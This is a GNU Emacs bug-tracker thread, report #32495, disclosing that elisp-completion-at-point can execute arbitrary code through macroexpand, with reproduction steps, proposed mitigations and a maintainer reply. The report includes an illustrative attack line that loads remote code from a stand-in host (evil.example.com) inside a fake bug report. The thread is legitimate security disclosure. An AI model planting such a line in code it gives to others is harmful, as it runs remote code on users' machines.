GNU logs - #32495, boring messages

Message sent to bug-gnu-emacs@HIDDEN:

Subject: bug#32495: 26.1; Arbitrary code execution when completing inside untrusted elisp code
Resent-From: Wilfred Hughes <me@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: bug-gnu-emacs@HIDDEN
Resent-Date: Wed, 22 Aug 2018 00:13:02 +0000
Resent-Message-ID: <handler.32495.B.153489675311777 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
To: 32495 <at> debbugs.gnu.org
MIME-Version: 1.0
From: Wilfred Hughes <me@HIDDEN>
Date: Wed, 22 Aug 2018 01:11:55 +0100
Message-ID: <CAFXAjY7CEXsZfH_RNA8QjDYm7ynJtuCbBZOeSVATcA6rNw+qpQ@HIDDEN>
Content-Type: text/plain; charset="UTF-8"
Precedence: list
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>

elisp-completion-at-point calls macroexpand, which may execute arbitrary code.

REPRODUCING

1. Insert this code in a buffer in emacs-lisp-mode.

(let ((foo (eval-when-compile (debug))))
  x)

2. Put point on x.

3. Press C-M-i, or M-x elisp-completion-at-point.

4. Observe that the debugger is opened, because code is being executed!

SEVERITY

I don't know whether Emacs considers calling code-completion on
untrusted code to be a concern or not. A contrived example might look
like a bug report containing the following:

(let ((foo (eval-when-compile (eval "/ftp:evil.example.com:exploit.el")))
      ;; ... lots of code
      (bar 1))
  ;; Dear maintainer, I've found a bug in your completion. Please try
  ;; completion in the following:
  abc
  )

This could also cause accidental issues, as I might edit code that has
some unwanted side-effects inside eval-when-compile blocks. However,
this functionality has existed since 2013 (added in commit
bbcc4d97447a by Stefan) and no-one has noticed so far.

WORKAROUNDS

When calling macroexpand or macroexpand-all, either:

1. pass in an environment with all untrusted macros replaced with dummies:

(let ((macro-whitelist '(when pcase))
      all-macros
      safe-env)
  (mapatoms
   (lambda (sym)
     (when (macrop sym)
       (push sym all-macros))))
  (mapc
   (lambda (sym)
     (unless (memq sym macro-whitelist)
       (push (cons sym (symbol-function 'ignore))
             safe-env)))
   all-macros)

  (macroexpand-all
   arbitrary-form-here
   safe-env))

2. bind all eval-capable functions first (INCOMPLETE, there are other
eval-capable functions, such as load):

(cl-letf (((symbol-function 'eval) #'ignore)
          ((symbol-function 'eval-region) #'ignore)
          ((symbol-function 'eval-buffer) #'ignore)
          ((symbol-function 'backtrace-eval) #'ignore))
  (macroexpand-all some-arbitrary-form-here))

Message sent:

Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-Mailer: MIME-tools 5.505 (Entity 5.505)
Content-Type: text/plain; charset=utf-8
X-Loop: help-debbugs@HIDDEN
From: help-debbugs@HIDDEN (GNU bug Tracking System)
To: Wilfred Hughes <me@HIDDEN>
Subject: bug#32495: Acknowledgement (26.1; Arbitrary code execution when
 completing inside untrusted elisp code)
Message-ID: <handler.32495.B.153489675311777.ack <at> debbugs.gnu.org>
References: <CAFXAjY7CEXsZfH_RNA8QjDYm7ynJtuCbBZOeSVATcA6rNw+qpQ@HIDDEN>
X-Gnu-PR-Message: ack 32495
X-Gnu-PR-Package: emacs
Reply-To: 32495 <at> debbugs.gnu.org
Date: Wed, 22 Aug 2018 00:13:02 +0000

Thank you for filing a new bug report with debbugs.gnu.org.

This is an automatically generated reply to let you know your message
has been received.

Your message is being forwarded to the package maintainers and other
interested parties for their attention; they will reply in due course.

Your message has been sent to the package maintainer(s):
 bug-gnu-emacs@HIDDEN

If you wish to submit further information on this problem, please
send it to 32495 <at> debbugs.gnu.org.

Please do not send mail to help-debbugs@HIDDEN unless you wish
to report a problem with the Bug-tracking system.

--=20
32495: http://debbugs.gnu.org/cgi/bugreport.cgi?bug=3D32495
GNU Bug Tracking System
Contact help-debbugs@HIDDEN with problems

Message received at control <at> debbugs.gnu.org:

Received: (at control) by debbugs.gnu.org; 22 Aug 2018 02:07:53 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Tue Aug 21 22:07:53 2018
Received: from localhost ([127.0.0.1]:57165 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1fsIYr-0005yx-5J
	for submit <at> debbugs.gnu.org; Tue, 21 Aug 2018 22:07:53 -0400
Received: from eggs.gnu.org ([208.118.235.92]:52216)
 by debbugs.gnu.org with esmtp (Exim 4.84_2)
 (envelope-from <rgm@HIDDEN>) id 1fsIYm-0005ya-U6
 for control <at> debbugs.gnu.org; Tue, 21 Aug 2018 22:07:49 -0400
Received: from Debian-exim by eggs.gnu.org with spam-scanned (Exim 4.71)
 (envelope-from <rgm@HIDDEN>) id 1fsIYg-00032T-6C
 for control <at> debbugs.gnu.org; Tue, 21 Aug 2018 22:07:43 -0400
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on eggs.gnu.org
X-Spam-Level: 
X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=disabled
 version=3.3.2
Received: from fencepost.gnu.org ([2001:4830:134:3::e]:49598)
 by eggs.gnu.org with esmtp (Exim 4.71) (envelope-from <rgm@HIDDEN>)
 id 1fsIYg-00032I-1B
 for control <at> debbugs.gnu.org; Tue, 21 Aug 2018 22:07:42 -0400
Received: from rgm by fencepost.gnu.org with local (Exim 4.82)
 (envelope-from <rgm@HIDDEN>) id 1fsIYf-0003QH-UG
 for control <at> debbugs.gnu.org; Tue, 21 Aug 2018 22:07:41 -0400
Subject: control message for bug 32495
To: <control <at> debbugs.gnu.org>
X-Mailer: mail (GNU Mailutils 2.99.98)
Message-Id: <E1fsIYf-0003QH-UG@HIDDEN>
From: Glenn Morris <rgm@HIDDEN>
Date: Tue, 21 Aug 2018 22:07:41 -0400
X-detected-operating-system: by eggs.gnu.org: GNU/Linux 2.2.x-3.x [generic]
X-Received-From: 2001:4830:134:3::e
X-Spam-Score: -5.0 (-----)
X-Debbugs-Envelope-To: control
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -6.0 (------)

tag 32495 security

Message sent to bug-gnu-emacs@HIDDEN:

Subject: bug#32495: 26.1; Arbitrary code execution when completing inside untrusted elisp code
Resent-From: Stefan Monnier <monnier@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: bug-gnu-emacs@HIDDEN
Resent-Date: Thu, 23 Aug 2018 18:55:01 +0000
Resent-Message-ID: <handler.32495.B32495.153505048115319 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
To: Wilfred Hughes <me@HIDDEN>
Cc: 32495 <at> debbugs.gnu.org
From: Stefan Monnier <monnier@HIDDEN>
Message-ID: <jwvefeoudlu.fsf-monnier+emacs@HIDDEN>
References: <CAFXAjY7CEXsZfH_RNA8QjDYm7ynJtuCbBZOeSVATcA6rNw+qpQ@HIDDEN>
Date: Thu, 23 Aug 2018 14:54:31 -0400
In-Reply-To: <CAFXAjY7CEXsZfH_RNA8QjDYm7ynJtuCbBZOeSVATcA6rNw+qpQ@HIDDEN>
 (Wilfred Hughes's message of "Wed, 22 Aug 2018 01:11:55 +0100")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/27.0.50 (gnu/linux)
MIME-Version: 1.0
Content-Type: text/plain
Precedence: list
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>

> 1. pass in an environment with all untrusted macros replaced with dummies:

Sounds like a good first step.

We could even start with a blacklist rather than a whitelist
(eval-when-compile, eval-and-compile, cl-eval-when, ...), so the point
would be to protect oneself from accidental problems rather than from
malign adversaries.

> 2. bind all eval-capable functions first (INCOMPLETE, there are other
> eval-capable functions, such as load):

Trying to plug each and every hole sounds like a losing game
(e.g. you can implement `eval` by building a `(lambda () ,exp) and then
causing it to be called one way or another).

Ideally, we'd have some way to confine Elisp code to a sandbox of some
sort (e.g. no access to any I/O and all changes to global vars are ignored).

        Stefan

Last modified: Mon, 25 Nov 2019 12:00:02 UTC

GNU bug tracking system
Copyright (C) 1999 Darren O. Benham, 1997 nCipher Corporation Ltd, 1994-97 Ian Jackson.